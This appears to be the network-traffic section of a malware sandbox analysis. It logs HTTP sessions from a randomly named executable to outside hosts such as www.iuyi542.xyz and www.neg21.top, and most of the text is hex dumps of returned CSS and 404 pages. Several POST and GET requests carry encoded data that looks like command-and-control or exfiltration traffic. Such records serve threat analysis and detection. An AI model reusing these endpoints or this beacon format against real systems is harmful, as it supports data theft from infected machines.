65 2d 68 65 69 [TRUNCATED] Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{display:inline-block}progress,sub,sup{vertical-align:baseline}html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0} menu,article,aside,details,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;p [TRUNCATED]
Nov 7, 2024 10:52:31.228749037 CET	1236	IN	Data Raw: 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c Data Ascii: :not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{}button,select{text-transform:none}[
Nov 7, 2024 10:52:31.229284048 CET	1236	IN	Data Raw: 5b 68 69 64 64 65 6e 5d 2c 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2f 2a 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 2e 6d 61 70 20 2a 2f 0d 0a 09 2f 2a 21 Data Ascii: [hidden],template{display:none}/# sourceMappingURL=normalize.min.css.map //! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (htt
Nov 7, 2024 10:52:31.229315042 CET	1236	IN	Data Raw: 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 7b 77 69 64 74 68 3a 64 65 76 69 63 65 2d 77 69 64 74 68 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c Data Ascii: olor:transparent}@-ms-viewport{width:device-width}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-seri
Nov 7, 2024 10:52:31.229327917 CET	1018	IN	Data Raw: 74 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 3a 6f 62 6a 65 63 74 73 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 35 36 62 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 Data Ascii: t;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-
Nov 7, 2024 10:52:31.229340076 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button
Nov 7, 2024 10:52:31.229355097 CET	1236	IN	Data Raw: 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 Data Ascii: bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25re
Nov 7, 2024 10:52:31.229371071 CET	1236	IN	Data Raw: 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 66 69 67 75 72 65 2d 69 6d 67 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 66 69 67 75 72 65 2d 63 61 70 74 69 Data Ascii: e{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;b
Nov 7, 2024 10:52:31.229859114 CET	1236	IN	Data Raw: 2e 63 6f 6c 2d 6c 67 2d 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 30 2c 2e 63 6f 6c 2d 6c 67 2d 31 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 2c 2e 63 6f 6c 2d 6c 67 2d 33 2c 2e 63 6f 6c 2d 6c 67 2d 34 2c 2e 63 6f 6c 2d 6c 67 2d 35 Data Ascii: .col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-m
Nov 7, 2024 10:52:31.229872942 CET	848	IN	Data Raw: 38 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 38 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b Data Ascii: 8.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex
Nov 7, 2024 10:52:31.259902000 CET	1236	IN	Data Raw: 2e 6f 72 64 65 72 2d 31 32 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 32 7b 6d 61 72 Data Ascii: .order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49201	38.47.237.27	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:33.123246908 CET	2472	OUT	POST /cymd/ HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.iuyi542.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.iuyi542.xyz/cymd/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 66 53 35 35 43 43 33 45 68 38 76 66 36 78 2f 78 6a 79 61 37 50 42 76 69 58 42 56 54 78 57 51 67 54 46 34 44 66 77 30 72 45 73 62 74 65 72 50 70 4c 33 66 45 4a 59 43 74 52 67 67 42 30 67 70 54 54 5a 46 75 38 6b 64 49 4b 31 6d 4e 44 56 73 7a 51 62 55 65 33 6b 79 6b 54 50 51 43 63 4e 73 4d 47 52 77 73 55 6c 44 66 72 57 34 68 41 6d 37 79 55 7a 62 43 6b 33 44 39 52 4f 4d 73 45 45 5a 49 39 6e 65 30 33 55 30 30 45 68 33 59 45 67 69 4f 46 45 57 57 32 7a 32 6c 70 45 6a 61 38 6b 31 48 55 66 4c 63 55 4a 73 44 50 36 62 32 71 55 6e 61 53 48 42 44 4e 78 4b 49 6a 6c 2b 39 69 72 69 38 35 50 30 47 72 39 54 75 4a 53 6a 42 43 65 54 39 51 34 65 4e 4b 49 49 64 4a 54 73 41 77 34 67 43 68 7a 57 44 6b 37 46 50 71 2f 68 4d 2f 65 70 30 51 37 49 35 4c 33 38 49 77 45 37 30 43 58 75 38 65 45 55 4f 4f 57 51 6e 32 41 33 70 66 41 65 46 33 79 67 73 74 55 2b 2b 79 77 49 48 39 30 36 78 7a 36 42 32 51 77 5a 76 4c 4c 46 77 73 66 4f 34 4e 6d 38 49 73 75 48 67 65 4b 30 73 43 61 42 51 4d 4d 35 6a 64 76 78 75 48 77 6b [TRUNCATED] Data Ascii: mFptYb=fS55CC3Eh8vf6x/xjya7PBviXBVTxWQgTF4Dfw0rEsbterPpL3fEJYCtRggB0gpTTZFu8kdIK1mNDVszQbUe3kykTPQCcNsMGRwsUlDfrW4hAm7yUzbCk3D9ROMsEEZI9ne03U00Eh3YEgiOFEWW2z2lpEja8k1HUfLcUJsDP6b2qUnaSHBDNxKIjl+9iri85P0Gr9TuJSjBCeT9Q4eNKIIdJTsAw4gChzWDk7FPq/hM/ep0Q7I5L38IwE70CXu8eEUOOWQn2A3pfAeF3ygstU++ywIH906xz6B2QwZvLLFwsfO4Nm8IsuHgeK0sCaBQMM5jdvxuHwkvsAKbV49qdQu2VMj50w0V/dziSWtUaDSTwEID0g/wUBWDA/leUzU5jH/l0gKxfqElR7tmS33fmjl+sH5sSh/ODVTib9SlX1fc9rDyrE8DUrRRuVcvjcQ3PslUHJETH9vBgsq/o7+R6WUN1hkg2MkNYV7bJdxclDXsHdenLeJfedPM5P5/L6b6X35pfI8qeZUBatSOZpc2+BVh230lR4wisStyzUipEc/EgN85dG0xQDk+tywPiPq9NFdNvZP864YyD2UDZMohJg7hhvCBE0qtPY0vDSfULALXj6/osGPKiVq6jNQ81swa13KncijndN0NwRpFFEgPolrYZhfvNh8ZreUFOZ6inrRJn3oqqy181HyngLEv4MhN/uNPkJ4mVrwBCBEoBqqUTF5cXth+r3d4O7DgxVDoFjTHfwnw/DTPAII/2rvGBHtQstxXtn1k3/qTF7k6gydHgg+vTZaImNzAWXW0S4OqsX+wUM+74SYqMpcHn10kKtaUEuevDLJQ7zjG+pIjENt2ESlO9pgL5SRlW60XkTObzkW4XaUj/sgCXqF1px+zZpOdkMzUVyMBi12F5FAcy+9B7ya5xwwWe7D3jOT7LGDmef5sWbxUJxnwYICUfYeMZVMz1V9b5zEHg7YEJIq7toWg5dbCNXAenNEBZ3avAus6DZLfh [TRUNCATED]
Nov 7, 2024 10:52:33.128182888 CET	1740	OUT	Data Raw: 6d 2f 42 54 34 65 6e 55 68 59 6b 31 32 41 35 79 37 6f 49 6b 32 48 2b 6c 64 55 4a 6a 37 39 35 65 69 39 31 73 38 54 38 2b 39 52 5a 43 30 50 53 72 4e 51 35 68 74 38 63 4a 46 30 68 51 48 43 47 68 47 68 6c 31 42 6a 70 6c 2f 66 71 4a 6d 76 49 54 4c 45 Data Ascii: m/BT4enUhYk12A5y7oIk2H+ldUJj795ei91s8T8+9RZC0PSrNQ5ht8cJF0hQHCGhGhl1Bjpl/fqJmvITLEVFC96M/583tgDig5+f5b6IcCZXac4XvtTh058FgmUv9cabtNRBvZFWxgwe1fcxy3wHHOF9P07oOMwINtX86nhS7Uff1NekQc5su7EGEpZnU8A1ZrJDM+4kSc0MRJAuoQjxOoZPRD2b7aHCm8FRPkxXMavISr4PxU3
Nov 7, 2024 10:52:33.780874014 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:52:33 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09"
Nov 7, 2024 10:52:33.780972958 CET	1236	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{dis
Nov 7, 2024 10:52:33.781124115 CET	212	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 73 75 62 6d Data Ascii: ne-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inn
Nov 7, 2024 10:52:33.781136036 CET	1236	IN	Data Raw: 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 Data Ascii: er,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1
Nov 7, 2024 10:52:33.781203985 CET	212	IN	Data Raw: 3b 2d 2d 6f 72 61 6e 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d Data Ascii: ;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#f
Nov 7, 2024 10:52:33.781270027 CET	1236	IN	Data Raw: 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 Data Ascii: fc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helve
Nov 7, 2024 10:52:33.781280994 CET	212	IN	Data Raw: 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 Data Ascii: em}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:norma
Nov 7, 2024 10:52:33.781403065 CET	1236	IN	Data Raw: 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 Data Ascii: l;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{f
Nov 7, 2024 10:52:33.781414986 CET	212	IN	Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d Data Ascii: om:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}b
Nov 7, 2024 10:52:33.781562090 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49202	38.47.237.27	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:35.765975952 CET	529	OUT	GET /cymd/?mFptYb=SQRZB1HP1/e+i1vXkx65XVrDeSNNnXwFTHYuRC8KH5mDKLD+AhmaLKzef3QT7SVce+tzzUZ1GVC2U2YQK5wN3xroRLUyaPMbLSFxR1aJqBACZHGGUwWsqj7Ua713&Vta=nFypuDtholF HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49203	206.119.81.36	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:41.094434023 CET	2472	OUT	POST /1i1f/ HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.neg21.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.neg21.top/1i1f/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 51 53 77 36 67 52 37 30 45 69 77 31 77 45 58 62 61 69 4e 4d 64 30 58 33 36 58 48 57 69 76 79 70 34 69 2f 66 32 51 36 43 38 33 59 61 63 76 51 4d 32 63 2f 30 39 46 50 7a 41 6c 4a 36 59 65 63 31 56 4c 76 32 4c 38 2b 46 32 4d 67 47 30 6a 30 6b 31 4c 72 31 43 54 53 49 53 78 5a 35 78 47 6e 45 5a 74 7a 73 58 76 41 43 56 78 47 36 50 6c 4c 59 53 33 41 6a 70 79 42 32 71 5a 4b 56 52 7a 47 34 48 55 69 73 54 58 6d 49 70 57 71 66 67 4b 51 32 49 48 53 68 61 4d 6b 68 77 34 2f 57 30 6b 72 2b 36 78 4a 6e 6e 62 6a 59 36 5a 70 6b 72 53 34 53 55 2b 6d 42 36 34 2b 63 6d 73 72 4e 69 47 51 57 4b 34 2f 74 65 6c 72 51 61 41 67 51 59 6c 43 74 78 47 6a 63 6d 44 49 43 62 64 78 6a 2f 46 39 36 41 66 62 72 5a 78 61 79 6a 76 4e 30 66 53 31 48 6f 48 43 7a 79 51 5a 44 33 71 63 6a 43 69 6b 6c 54 33 49 4b 42 71 77 4e 4a 4a 42 69 52 68 53 69 48 44 69 6c 55 4e 62 2f 38 65 71 38 46 4e 77 6e 62 68 51 4e 70 52 70 64 54 71 66 54 33 31 56 68 56 43 39 79 56 62 4b 30 6a 30 39 52 43 58 57 41 37 4f 6a 43 78 53 59 42 78 69 36 [TRUNCATED] Data Ascii: mFptYb=QSw6gR70Eiw1wEXbaiNMd0X36XHWivyp4i/f2Q6C83YacvQM2c/09FPzAlJ6Yec1VLv2L8+F2MgG0j0k1Lr1CTSISxZ5xGnEZtzsXvACVxG6PlLYS3AjpyB2qZKVRzG4HUisTXmIpWqfgKQ2IHShaMkhw4/W0kr+6xJnnbjY6ZpkrS4SU+mB64+cmsrNiGQWK4/telrQaAgQYlCtxGjcmDICbdxj/F96AfbrZxayjvN0fS1HoHCzyQZD3qcjCiklT3IKBqwNJJBiRhSiHDilUNb/8eq8FNwnbhQNpRpdTqfT31VhVC9yVbK0j09RCXWA7OjCxSYBxi6Lgg08J4UQbKvTxzpm9dVgbwvIKbsjgy3Hui9YV84TmkXry6En6QHY7zCv3CRBrbo4TMjS1AV58TQ0bZSrl+/OHipT6LRKX4/BOnyx5ILp3sjhmBIjsLrpPCnBuNQfA3HW62zhhEKvl4RWEPTpylGmwWR0zyKv+7u4nbwCTK0dvwt1ilpLoRMrAZTcgkC7Y06Cj0vzQDzOFsE38cLAvtowDJWNk3SocaTVxb8Gsr8A3Mdb8Rd9wmY83wa2VHR9hnSpe6QPUroVjEblZb79yvme3zBoJMvdTiMUytkvbnSyDqMuckDUqV8h4p3VWe2iQU0l8cZ654zHTgbecmZ+xqi5pn5fHBGJ/fOay394RM9bRn1aWYAPVwFqtKxqRff/XgzHXvBkdXswhLVdSdpGdQvdCicJ3MhBbnRqXFvxiq2CxonB/BvWVpWpfgvA/X73OYGIXNxyUJjw4BvcHUSTCI1IyCsjvr3zf1Za86mWN2KcZY1oTxCoDS68t1SJA39cfNeZLWRJN+DMvYyRGFwGybFbRg8Wlfoxu3OkUkAoX1ixqtTcTq9TRrCimV9Qicehzcjze8V2TbQG3vUhGt1K1sonsEXILF0q5y6mSxIRxW3UbcNPV3QvuLlOx+rdfD+D/TNB8A18QxYZT6pPBLThi5lNeIEiI1H6cnDrJ [TRUNCATED]
Nov 7, 2024 10:52:41.099757910 CET	270	OUT	Data Raw: 4a 44 67 36 6c 53 43 38 34 34 52 6a 37 32 74 53 49 62 57 62 79 31 48 6d 34 61 4e 30 43 50 4f 52 36 52 68 79 47 76 44 52 4c 33 7a 4e 35 4b 73 55 58 52 52 69 49 38 38 6e 52 68 59 6d 44 67 7a 45 54 2f 62 6e 2b 63 41 6b 4c 34 30 66 47 64 70 59 4d 2b Data Ascii: JDg6lSC844Rj72tSIbWby1Hm4aN0CPOR6RhyGvDRL3zN5KsUXRRiI88nRhYmDgzET/bn+cAkL40fGdpYM+dtZORGKbBqHmDrBCzVX826631/DfD9dnPMY0tCYvQLPWvBXnR6ZIFBFYU714ke9eFjQcZQeifiwiJndeTB/cqt2VreTcj6zFvHJoHs2s/G+lANptvAnKAWdmu4fIVS+8oLfwKmvv0rJkI8TYxU27olJ5vhUw3bNg1
Nov 7, 2024 10:52:42.059843063 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:52:41 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49204	206.119.81.36	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
